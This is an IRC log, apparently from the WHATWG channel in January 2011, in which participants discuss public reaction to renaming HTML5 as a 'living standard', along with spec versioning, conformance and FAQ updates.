  1420. # [23:09] * Joins: franksalim__ (~frank@108-65-76-174.lightspeed.sntcca.sbcglobal.net)
  1421. # [23:10] * Quits: svl (~me@ip565744a7.direct-adsl.nl) (Quit: And back he spurred like a madman, shrieking a curse to the sky.)
  1422. # [23:10] <annevk> there's a lot of comments on this blog post
  1423. # [23:10] <annevk> geez
  1424. # [23:10] <annevk> is anyone going to reply?
  1425. # [23:12] * Joins: _bga (~bga@ppp91-122-51-148.pppoe.avangarddsl.ru)
  1426. # [23:14] * shepazu is now known as html5hepazu
  1427. # [23:14] * html5hepazu is now known as shepazu
  1428. # [23:14] * Quits: bga_ (~bga@ppp91-122-51-148.pppoe.avangarddsl.ru) (Ping timeout: 250 seconds)
  1429. # [23:15] * Quits: Maurice (copyman@5ED573FA.cm-7-6b.dynamic.ziggo.nl)
  1430. # [23:19] <annevk> some people also complained about having to enable JavaScript because of the spam filter...
  1431. # [23:20] * Quits: BlurstOfTimes (~blurstoft@168.203.117.107) (Remote host closed the connection)
  1432. # [23:21] * Joins: franksalim_ (~frank@108-65-76-174.lightspeed.sntcca.sbcglobal.net)
  1433. # [23:23] <jgraham> annevk: I can't imagine any reply would actually be read
  1434. # [23:23] <jgraham> Clearly people are ignoring all the other comments when they post their
  1435. # [23:24] <jgraham> e.g. foolip_'s insightful comment
  1436. # [23:24] * Quits: franksalim__ (~frank@108-65-76-174.lightspeed.sntcca.sbcglobal.net) (Ping timeout: 240 seconds)
  1437. # [23:24] <jgraham> But some of the comments are quite funny
  1438. # [23:24] * Quits: FireFly (~firefly@unaffiliated/firefly) (Quit: swatted to death)
  1439. # [23:24] <annevk> the trend seems to have gone from mostly positive to mostly negative as well
  1440. # [23:25] <jgraham> """LOL this means you will only able to add to a spec, not redefine it. [...] You’ll need to introduce namespaces, versioned tags or revert to a pointer to a fixed specification soon."""
  1441. # [23:25] <annevk> but the negative comments are not really well informed (the positive comments might not be either though)
  1442. # [23:25] <jgraham> I wonder if that guy realises that we have only been able to add to HTML, not redefine it, since 1992
  1443. # [23:25] <annevk> I guess when a post gets sufficiently popular, the feedback you get is "garbage"
  1444. # [23:26] <annevk> yeah indeed, there's a lot of stuff like that
  1445. # [23:26] <annevk> also one guy claiming how HTML is irrelevant and everything is XML and RDF these days
  1446. # [23:26] <annevk> but of course o_O
  1447. # [23:27] <jgraham> Right, as the thread goes on, the cluelessness level is rising sharply
  1448. # [23:27] <annevk> I don't really feel like rejecting any of them though. They're not spam and Mr Last Week might find it useful fodder
  1449. # [23:28] <jgraham> Right. No spam
  1450. # [23:28] <jgraham> At least in the published stuff, I haven't looked at the moderation queue
  1451. # [23:28] <jgraham> I feel sorry for many of these people really
  1452. # [23:29] * Quits: MikeSmith (~MikeSmith@EM114-48-59-11.pool.e-mobile.ne.jp) (Ping timeout: 240 seconds)
  1453. # [23:29] <foolip_> lol, "like comparing a needle to a haystack"
  1454. # [23:29] <jgraham> They seem to have had the idea there would be some glorious future where there would be a precise standard that all browsers would implement in a bug-free way
  1455. # [23:30] <jgraham> And, well, it has never been like that before, so they had nothing to go on
  1456. # [23:30] <jgraham> But they really *believed*
  1457. # [23:30] <Hixie> annevk: if you could collate all the points made and stick them in the faq, i'm happy to answer them
  1458. # [23:30] <Hixie> annevk: i did some last night
  1459. # [23:30] <annevk> that's an interesting idea
  1460. # [23:30] * Quits: charlvn (~charlvn@41.0.48.93) (Quit: Leaving)
  1461. # [23:31] <annevk> with which I mean I won't do it tonight, but maybe tomorrow :)
  1462. # [23:31] <Hixie> :-)
  1463. # [23:31] <foolip_> many commenters seem to concerned with the well-being of us browser implementors. touching, but wrong
  1464. # [23:32] <Hixie> yeah
  1465. # [23:32] <foolip_> "Browser devs will be scrambling to keep up."
  1466. # [23:32] <foolip_> as if we weren't before :)
  1467. # [23:32] <annevk> I love how they are strongly opinionated. I kind of lost that myself
  1468. # [23:32] <jcranmer> it's easier to design APIs than to implement them
  1469. # [23:33] <annevk> things like "Worst. Idea. Ever."
  1470. # [23:33] <jcranmer> reference?
  1471. # [23:34] <jcranmer> I want to... laugh at idiots, but I'm too lazy to figure out the source from scrollback
  1472. # [23:34] <annevk> jcranmer, comments on http://blog.whatwg.org/html-is-the-new-html5
  1473. # [23:34] * Joins: franksalim__ (~frank@99-123-6-19.lightspeed.sntcca.sbcglobal.net)
  1474. # [23:34] <jcranmer> annevk: thanks
  1475. # [23:34] <annevk> up to 78 approved now
  1476. # [23:35] <jgraham> Oh it made slashdot
  1477. # [23:36] <ment> yeah :)
  1478. # [23:36] <jgraham> Maybe that explains the change
  1479. # [23:36] <foolip_> there's bound to be lot's of insight in the slashdot comments :)
  1480. # [23:36] * foolip_ goes to look
  1481. # [23:36] <jcranmer> I'll agree that it might be nice to snapshot
  1482. # [23:36] * Joins: riven` (~riven@53518387.cm-6-2c.dynamic.ziggo.nl)
  1483. # [23:36] <jgraham> Oh and the first comment on /. manages to compare it to Microsoft
  1484. # [23:36] <jcranmer> although I think the CVS or SVN or whatever is public
  1485. # [23:37] <jgraham> But, amazingly, doesn't spell it M$
  1486. # [23:37] <foolip_> let's just call it HTML5792 (SVN revision)
  1487. # [23:37] * Quits: franksalim_ (~frank@108-65-76-174.lightspeed.sntcca.sbcglobal.net) (Ping timeout: 240 seconds)
  1488. # [23:37] <jcranmer> wow, someone who LIKED the logo?
  1489. # [23:37] * Quits: thiessenp (~thiessenp@ip4da8062e.direct-adsl.nl) (Quit: off to do what I do)
  1490. # [23:38] <annevk> oh we are on /.
  1491. # [23:38] <annevk> haha
  1492. # [23:38] <foolip_> too bad the w3c version of the spec will now get better ranking from "html5" searches
  1493. # [23:38] <annevk> that and reddit
  1494. # [23:38] <foolip_> (relative to whatwg that is)
  1495. # [23:38] <annevk> we lost that battle long ago I think
  1496. # [23:39] <annevk> of course amid all the conspiracy theories on Google and the WHATWG nobody mentioned that
  1497. # [23:39] <ment> just for clarification - html 5 is neither 5 nor standard anymore?
  1498. # [23:39] <annevk> HTML is a standard
  1499. # [23:39] <jgraham> Of course the /. article is to some blog
  1500. # [23:39] * Quits: riven (~riven@53518387.cm-6-2c.dynamic.ziggo.nl) (Ping timeout: 240 seconds)
  1501. # [23:40] * Joins: MikeSmith (~MikeSmith@EM114-48-148-8.pool.e-mobile.ne.jp)
  1502. # [23:40] <annevk> HTML5 is the buzzword for "Web Platform"
  1503. # [23:40] <annevk> (basically since the W3C logo announcement, though the W3C HTML WG might still publish drafts called HTML5 I guess)
  1504. # [23:40] <jgraham> Seriosuly, the ratio of knee-jerk to insight in that slashdot thread caused a divide-by-zero error
  1505. # [23:41] <ment> annevk: well i can conform to html 4.01, but not to "html"
  1506. # [23:41] <annevk> ment, why not?
  1507. # [23:42] <annevk> ment, conformance to CSS changes over time, conformance to HTML can too
  1508. # [23:42] <ment> annevk: because i have no idea how to decide whether i'm conforming or not
  1509. # [23:42] <annevk> ment, you use the latest version of the specification
  1510. # [23:43] <annevk> It's funny that CSS pioneered all of this but with HTML it is controversial and stupid
  1511. # [23:43] <ment> annevk: that's just tortoise/achilles problem
  1512. # [23:43] <annevk> well, to some people :)
  1513. # [23:43] <ment> afaik css is releasing specs bit by bit
  1514. # [23:43] <jcranmer> I like all of the idiots who complain that "this makes browser comparison difficult, since you can't just say "HTML5: yes"'
  1515. # [23:43] * Joins: lowbatteries (~Adium@76.178.162.64)
  1516. # [23:43] <jcranmer> and the last time that such a distinction was doable was... never, I believe
  1517. # [23:44] <annevk> jcranmer, I wonder how long they thought about such a comment
  1518. # [23:44] <Hixie> if anyone sees any recurring themes in the slashdot comments, please add them as sections to the faq and i'll go in and answer them later (or anyone else can go in and answer them, whatever)
  1519. # [23:44] <jcranmer> that's why WP breaks support down by CSS property or HTML tag/attribute
  1520. # [23:44] <ment> jcranmer: yes it makes conformance difficult. i had these problems when i was writing html5 parser/tokenizer according to draft
  1521. # [23:44] <ment> jcranmer: which had very different tokenizer two months later
  1522. # [23:45] <ment> jcranmer: so i had just to throw most of the tokenizer away and start over again
  1523. # [23:45] * Joins: benschwa_ (~benschwar@ppp118-209-3-167.lns20.mel4.internode.on.net)
  1524. # [23:45] <jcranmer> IMHO, speccing how to precisely handle tag soup is a bit over the top
  1525. # [23:45] <jcranmer> although I do come from a compiler mindset
  1526. # [23:45] <annevk> ment, so the difference could have been that you implemented HTML5 which would have been in the same state as HTML4 (pretty crappy) and there would be another draft called HTML6 which had the fixes
  1527. # [23:45] <jcranmer> where errors are "OMFG, you fail"
  1528. # [23:46] * Quits: matjas (~matjas@91.182.211.157) (Quit: Computer has gone to sleep.)
  1529. # [23:46] <annevk> ment, languages evolve and especially when the legacy constraints are not fully understood (a clear indication of that is when browsers are not shipping conforming implementations) this may cause further changes
  1530. # [23:46] * Parts: lowbatteries (~Adium@76.178.162.64)
  1531. # [23:46] <jgraham> Hixie: The main recurring theme in the slashdot comments was that your employer is evil and you, personally, are a retard
  1532. # [23:47] <annevk> ment, a different development model to standards is not going to solve that though
  1533. # [23:47] * Joins: lowbatteries (~Adium@76.178.162.64)
  1534. # [23:47] <jgraham> (that might not be quite a fair summary)
  1535. # [23:47] * Quits: ZombieLoffe (~e@unaffiliated/zombieloffe)
  1536. # [23:47] <realityking> Doesn't the trouble when validating starts when stuff gets moved to deprecated or "obsolete but conforming" how it is now called?
  1537. # [23:48] <ment> annevk: yeah, but now i can't just say to somebody with broken page - fuck off, fix your page to conform to html123. and if i say it, he will start babling about how languages are evolving all the time
  1538. # [23:48] <realityking> CSSWG has made a decision to never remove from the language (whether that is good or not is debatable) I haven't heard something like that for HTML
  1539. # [23:49] <annevk> ment, right
  1540. # [23:49] <espadrine> I don't understand why people link this move to Google Chrome.
  1541. # [23:49] <jamesr_> it doesn't matter whether CSSWG or HTMLWG or WHATWG decides never to remove from the language or not
  1542. # [23:49] <annevk> ment, you can say "fuck off" the moment there are two interoperable implementation that also break his page
  1543. # [23:49] <jamesr_> no implementation can ever remove a popular feature from their implementation of CSS or HTML or whatever
  1544. # [23:49] <annevk> ment, that is why we have the stability indicator
  1545. # [23:49] <jamesr_> no matter what any specification says
  1546. # [23:50] <gsnedders> espadrine: Because Hixie works for Google.
  1547. # [23:50] <Hixie> jgraham: well i can't comment for my employer... :-P
  1548. # [23:50] <annevk> espadrine, I think you can compare them. Chrome has a version number internally. HTML has a SVN revision number internally :)
  1549. # [23:50] <realityking> jamesr_: I believe theres is a difference for document and processor conformance
  1550. # [23:50] <annevk> espadrine, but for "marketing" they are Chrome and HTML
  1551. # [23:50] <foolip_> several people seem to be unhappy that it's hard to know who supports what
  1552. # [23:51] <jgraham> That could be an FAQ
  1553. # [23:51] <ment> annevk: you have to understand there are more html parsers than those implemented in three major web browsers
  1554. # [23:51] <gsnedders> It already is when everyone implements drafts
  1555. # [23:51] <annevk> we have a poitner to caniuse.com in the FAQ
  1556. # [23:51] <jamesr_> realityking: is it a difference that anybody in the real world cares about?
  1557. # [23:51] <annevk> maybe html5test.com should be there too
  1558. # [23:51] <realityking> in the future we might find that the video element is a bad idea and invent something better, how would you reflect that it isn't state of the art anymore?
  1559. # [23:51] <jcranmer> "One inch has an exactly defined length, since long ago. Next big thing is a living standard for measuring. Ridiculous."
  1560. # [23:51] <foolip_> I'll add the question, not the answer
  1561. # [23:51] <jgraham> "Q) How do I know who supports what? A) Look at the results of the testsuite"
  1562. # [23:51] <jamesr_> realityking: you would still have to specify the behavior of <video> so that implementations could be interoperable
  1563. # [23:51] <jcranmer> well, the cm was redefined 4 or 5 times in the 1900s
  1564. # [23:51] <annevk> ment, I do, I implemented one myself
  1565. # [23:51] <jamesr_> assuming that <video> remains popular enough to not drop it
  1566. # [23:52] <ment> annevk: and i don't have twenty monkeys surfing the web watching for latest html broken element trends
  1567. # [23:52] <annevk> ment, for better or worse though until browsers have shipped implementations the draft cannot be considered stable
  1568. # [23:52] <realityking> jamesr_: yes, that why I talked about document conformance
  1569. # [23:52] <ment> annevk: so i will end up trying that in three different browsers figuring out how do _they_ parse it
  1570. # [23:52] <annevk> ment, if we marked it stable without that it would be just like HTML4
  1571. # [23:53] <realityking> I think for documents a versioned approach is desireable
  1572. # [23:53] <jamesr_> realityking: nobody cares about document conformance
  1573. # [23:53] <ment> annevk: yeah, but with dropping version numbers, you said that you are gonna be draft forever
  1574. # [23:53] <annevk> ment, things might change, but most things will be fairly stable
  1575. # [23:53] <jgraham> realityking: You know, nothing rally has changed here. You might have a HTML3.2 document that is not state of the art anymore. How does it help to say 'this is valid HTML3.2'?"
  1576. # [23:53] <annevk> ment, this is no different from CSS Modules amending CSS 2.1 though
  1577. # [23:53] <ment> annevk: sure
  1578. # [23:53] <realityking> jamesr_: so you're saying it doesn't matter what I write in my HTML docs (inventing new elements, attributes and so on)?
  1579. # [23:54] <annevk> ment, change will always happen
  1580. # [23:54] <annevk> when change stops, something better will have come along
  1581. # [23:54] <espadrine> realityking: as long as implementors ship with improvements, there is something to add to the html spec.
  1582. # [23:54] <jamesr_> realityking: you aren't listening
  1583. # [23:54] <jgraham> realityking: I believe that's called the fallacy of the excluded middle or something
  1584. # [23:55] <realityking> espadrine: I'm not proposing not to add to the specs, just that there should be milestones or something
  1585. # [23:55] <foolip_> hmm, the structure of the FAQ is a bit messy after todays edits
  1586. # [23:55] <realityking> jgraham: sorry not a native speaker
  1587. # [23:55] <realityking> I have no clue what your last sentence is supposed to mean
  1588. # [23:56] <ment> annevk: i'm not against change, but the progress of html/css/js could be described as perpetual retardation
  1589. # [23:56] <realityking> of course no HTML3.2 document is state of the art anymore
  1590. # [23:56] <jamesr_> no fixed version of any HTML specification will ever be state of the art
  1591. # [23:56] <foolip_> I seriously doubt "If you do not publish snapshots every now and again, you are Orwellian in your recognition of the role the mistakes of the past play into the present and the future." is a *frequently* asked question :)
  1592. # [23:56] * annevk looks up that term
  1593. # [23:56] <jgraham> The fallacy of the excluded middle is when you say "since I can't do X you are saying I have to do the opposite of X", ignoring all the possibilities between X and its opposite
  1594. # [23:56] <realityking> ah thanks
  1595. # [23:57] <jgraham> foolip_: Well it's not even a question, so no
  1596. # [23:57] <realityking> I don't doubt that the standard process takes too long for innovations
  1597. # [23:57] <annevk> ment, can't really find what that means exactly, but I am not sure if that is true
  1598. # [23:57] <jcranmer> well, what matters is not what the standard says
  1599. # [23:58] <realityking> but how do I know what features are stable when stuff is constantly added to the spec?
  1600. # [23:58] <jcranmer> it matters what implementors actually do
  1601. # [23:58] <annevk> ment, once we have stable implementations in browsers there is no need to change
  1602. # [23:58] <ment> annevk: standards are supposed to make order in things, not to incorporate every retarded thing some developer came up with at microsoft/google/mozilla
  1603. # [23:58] <jcranmer> in an ideal world, the standard is what everyone does
  1604. # [23:58] <jgraham> realityking: The goal is to have per section markers
  1605. # [23:58] <annevk> ment, with the parser anyway, the only changes we will make to the parser will be for new features
  1606. # [23:58] <foolip_> realityking, this just added to the FAQ: http://wiki.whatwg.org/wiki/FAQ#How_can_web_developers_know_which_features_are_safe_to_use.3F
  1607. # [23:58] <jcranmer> in practice, people pick and choose for what they need to have done
  1608. # [23:58] <annevk> ment, it just takes a while to get the parser to that state
  1609. # [23:58] <annevk> ment, where it is stable
  1610. # [23:58] <espadrine> realityking: each implementor has its support table.
  1611. # [23:58] <jgraham> realityking: But in practice, if there are multiple, independent implementations of something such that content relies on it, it is stable
  1612. # [23:59] <jcranmer> for example, officially NNTP is UTF-8; in practice, that is most certainly not a universal statement
  1613. # [23:59] <jgraham> Stability is enforced by the market, not some artifical declaration
  1614. # [23:59] <realityking> espadrine: yeah but a tleasts Webkits sucks
  1615. # [23:59] <annevk> ment, if you have ideas on how to approach this differently btw please do email the list or something
  1616. # [23:59] <realityking> of course I can change every single document in every browser
  1617. # Session Close: Fri Jan 21 00:00:00 2011

The end :)